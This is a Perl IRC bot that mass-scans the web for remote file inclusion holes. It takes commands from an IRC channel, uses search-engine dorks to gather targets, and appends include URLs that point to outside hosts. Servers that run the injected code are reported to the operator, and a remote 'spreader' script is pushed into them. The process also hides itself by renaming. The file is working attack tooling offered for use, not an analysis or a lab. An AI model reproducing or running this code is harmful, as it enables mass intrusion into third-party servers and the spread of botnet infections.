#!/usr/bin/perl
#xscholler ownz your b0x!


use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;
require LWP;
$|++;



my $process = "/scan/";                              			
my $printcmd="";                                     			
my $safeoff ="http://br.geocities.com/thezart/safeoff.txt?"; 	                
my $safeon = "http://br.geocities.com/thezart/safeon.txt?"; 	                
my $spreader = "http://infects.t35.com/spread.txt?"; 			
my $server="irc.epro-team.net";                      			
my $port="6667";                                    		 	
my $nickname="[EPRO]Scan".(int(rand(999))); 			 			
my $scanadmin="zarT";   			                        
my $channel="#epro";                              			


my $pid=fork;
exit if $pid;
	$0="$process"."\0"x16;

	my $dsp = IO::Socket::INET->new(PeerAddr=>"$server",PeerPort=>"$port",Proto=>"tcp") or die "Can not connect on server!\n";
		$dsp->autoflush(1);
			print $dsp "NICK $nickname\r\n";
			print $dsp "USER Enemy * 2 :Enemy ownz your b0x ;)\r\n";
			print $dsp "JOIN $channel\r\n";
			#print $dsp "PRIVMSG $channel :1RFi Scanner Launched on $channel \r\n"; 
				while($line = <$dsp>){
					$line =~ s/\r\n$//;
						if ($line=~ /^PING \:(.*)/)
						{
							print "PONG :$1";
							print $dsp "PONG :$1";
					}


if ($line=~ /PRIVMSG $channel :.bye/){
        display($dsp, "QUIT");
}

if ($line=~ /PRIVMSG $channel :.strings/){ 
        display($dsp, "PRIVMSG $channel :15[7@14Strings15] 7http://h1.ripway.com/enemyownz/string.txt"); 
} 


if ($line=~ /PRIVMSG $channel :.domains/){ 
        display($dsp, "PRIVMSG $channel :15[7@14Domains15] 7http://h1.ripway.com/enemyownz/domains.txt"); 
} 



if ($line=~ /PRIVMSG $channel :.rootable/){ 
        display($dsp, "PRIVMSG $channel :15[7@14Rootable15] 7http://h1.ripway.com/enemyownz/kernel.txt"); 
}



if ($line=~ /PRIVMSG $channel :.admin/){
	display($dsp, "PRIVMSG $channel :15[7@14Admin15]14 The Admin is: 7$scanadmin ");
}


######################################################################
#################### GOOGLE
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @google=&googlet($dork);
#
push(my @tot, @google);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Google Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Google finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### AllTheWeb
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @alltheweb=&allthewebt($dork);
	my @allweb=&standard($dork);
#
push(my @tot, @alltheweb, @allweb);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Alltheweb Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Alltheweb finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### UoL
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @uol=&uolsub($dork);
#
push(my @tot, @uol);
#
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Uol Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Uol finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### AltaVista
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @allist=&altavista($dork);
	my @alldeist=&altavistade($dork);
	my @allistus=&altavistaus($dork);
push(my @alles, @allist, @alldeist, @allistus);
#This is stupid i know i first make it @alles and i turn it back into @tot lol xD
push(my @tot, @alles);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Altavista Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Altavista finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### Yahoo
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @ylist=&yahoo($dork);
	my @yalist=&yahooa($dork);
	my @yblist=&yahoob($dork);
	my @yclist=&yahooc($dork);
		push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist);	
#
push(my @tot, @yahoobypass);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Yahoo Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Yahoo finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### MSN
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @mlist=&msn($dork);
push(my @tot, @mlist);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Msn Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Msn finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### ASK
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @asklist=&ask($dork);
push(my @tot, @asklist);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Ask Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Ask finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}

######################################################################
#################### FireBall
######################################################################
if ($line=~ /PRIVMSG $channel :.scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $exploiting=0;
my %hosts;
# Starting The Search Engine
	my @fireball=fireball($dork);
push(my @tot, @fireball);
my @cleaned=&unici(@tot);
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Fireball Total:7 ".scalar(@tot)." 14Cleaned:7 ".scalar(@cleaned)." 14for 7 $dork ");
my $uni=scalar(@cleaned);
foreach my $site (@cleaned)
{
$exploiting++;
if ($exploiting %100==0){ 
}
if ($exploiting==$uni-1){
display($dsp, "PRIVMSG $channel :15[7@14Scanner15] 7@14Fireball finished for7 $dork");
}
### Print CMD and TEST CMD###
my $testoff="http://".$site.$bug.$safeoff."?";
my $teston="http://".$site.$bug.$safeon."?";
my $print="http://".$site.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$teston);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /jimmywho/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
my $reqz=HTTP::Request->new(GET=>$testoff);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 3OFF15] 15[7@14url15: 7$print 15] ");
display($dsp, "PRIVMSG $scanadmin :$print ");
my $test2="http://".$site.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /jimmywho/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
display($dsp, "PRIVMSG $channel :15[7@14vulnerable15] 15[7@14Safe15: 4ON15] 15[7@14url15: 7$print 15] ");
}}
}}}
exit;
}}}

sub display()
{
if ($#_ == '1') {
my $dsp = $_[0];
print $dsp "$_[1]\n";
} else {
print $dsp "$_[0]\n";
}}

#####
# SUBS GOOGLE
#####
sub googlet {
my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca");
my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $i (@dominios){
my @lista = google($i,$key,$country[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}

sub google(){
my @lst;
my $i=$_[0];
my $key=$_[1];
my $country =$_[2];
for($b=0;$b<=100;$b+=100){
my $Go=("www.google.".$i."/search?hl=en&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
my $Res=query($Go);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}


#####
# SUBS AllTheWeb
#####

sub allthewebt {
my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
my @lst;
my $key=key($_[0]);
my $c=0;
foreach my $lang (@lang){
my @lista = alltheweb($key,$lang[$c]);
push(@lst,@lista);
$c++;
}
return @lst;
}


sub alltheweb(){
my @lista;
my $key = $_[0];
my $lang= $_[1];
for($b=0;$b<=500;$b+=100){
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
my $Res=query($alltheweb);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub standard()
{
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=100)
{
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res=query($all);
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
my $k=$1;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

#####
# SUBS AltaVista
#####
sub altavista(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub altavistade(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

sub altavistaus(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $AlT=("http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while($Res=~m/<span class=ngrn>(.+?)\//g){
if($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS UOL
#####
sub uolsub(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $UoL=("http://busca.uol.com.br/www/index.html?q=".key($key)."&start=".$i);
my $Res=query($UoL);
while($Res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
my $k=$1;
if($k!~/busca|uol|yahoo/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}


#####
# SUBS Yahoo
#####
sub yahoo(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=100){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahooa(){
my @lst;
my $key = $_[0];
for($b=210;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahoob(){
my @lst;
my $key = $_[0];
for($b=410;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

sub yahooc(){
my @lst;
my $key = $_[0];
for($b=610;$b<=1000;$b+=210){
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
my $Res=query($Ya);
while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
my $k=$1;
$k=~s/<b>//g;
$k=~s/<\/b>//g;
$k=~s/<wbr>//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}


#####
# SUBS MSN
#####
sub msn(){
my @lst;
my $key = $_[0];
for($b=1;$b<=1000;$b+=10){
my $MsN=("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res=query($MsN);
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if($1 !~ /msn|live/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}}}
return @lst;
}

#####
# SUBS ASK
#####
sub ask(){
my @lst;
my $key=$_[0];
my $i=0;
my $pg=0;
for($i=0; $i<=1000; $i+=10)
{
my $Ask=("http://it.ask.com/web?q=".key($key)."&o=312&l=dir&qsrc=0&page=".$i."&dm=all");
my $Res=query($Ask);
while($Res=~m/<a id=\"(.*?)\" class=\"(.*?)\" href=\"(.+?)\onmousedown/g){
my $k=$3;
$k=~s/[\"\ ]//g;
my @grep=links($k);
push(@lst,@grep);
}}
return @lst;
}

#####
# SUBS FireBall
#####
sub fireball(){
my $key=$_[0];
my $inizio=1;
my $pagine=200;
my @lst;
my $av=0;
while($inizio <= $pagine){
my $fireball="http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=".key($key)."&cat=fb_loc&idx=all&enc=utf-8";
my $Res=query($fireball);
while ($Res=~ m/<a href=\"?http:\/\/(.+?)\//g ){
if ($1 !~ /msn|live|google|yahoo/){
my $k="$1/";
my @grep=links($k);
push(@lst,@grep);
}}
$av=$av+10;
$inizio++;
}
return @lst;
}


sub links()
{
my @l;
my $link=$_[0];
my $host=$_[0];
my $hdir=$_[0];
$hdir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host.="/";
$link.="/";
$hdir.="/";
$host=~s/\/\//\//g;
$hdir=~s/\/\//\//g;
$link=~s/\/\//\//g;
push(@l,$link,$host,$hdir);
return @l;
}

sub geths(){
my $host=$_[0];
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
return $host;
}

sub key(){
my $dork=$_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%2F/g;
$dork =~ s/&/\%26/g;
$dork =~ s/\"/\%22/g;
$dork =~ s/,/\%2C/g;
$dork =~ s/\\/\%5C/g;
return $dork;
}

sub end()
{
$string=$_[0];
$string.="/";
$string=~s/\/\//\//;
while($string=~/\/\//)
{
$string=~s/\/\//\//;
}
return($string);
}

sub query($){
my $url=$_[0];
$url=~s/http:\/\///;
my $host=$url;
my $query=$url;
my $page="";
$host=~s/href=\"?http:\/\///;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query=~s/$host//;
if ($query eq "") {$query="/";};
eval {
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
close($sock);
};
return $page;
}

sub get_link()
{
my $file_print=$_[1];
my $link=$_[0];
my $host=$_[0];
my $host_dir=$_[0];
my @links;
$host_dir=~s/(.*)\/[^\/]*$/\1/;
$host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host_dir=&end($host_dir);
$host=&end($host);
$link=&end($host);
push(@links,$link,$host,$host_dir);
open($file,'>>',$file_print);
print $file "$link\n$host_dir\n$host\n";
close($file);
return @links;
}

sub unici{
my @unici = ();
my %visti = ();
foreach my $elemento ( @_ )
{
$elemento =~ s/\/+/\//g;
next if $visti{ $elemento }++;
push @unici, $elemento;
}   
return @unici;
}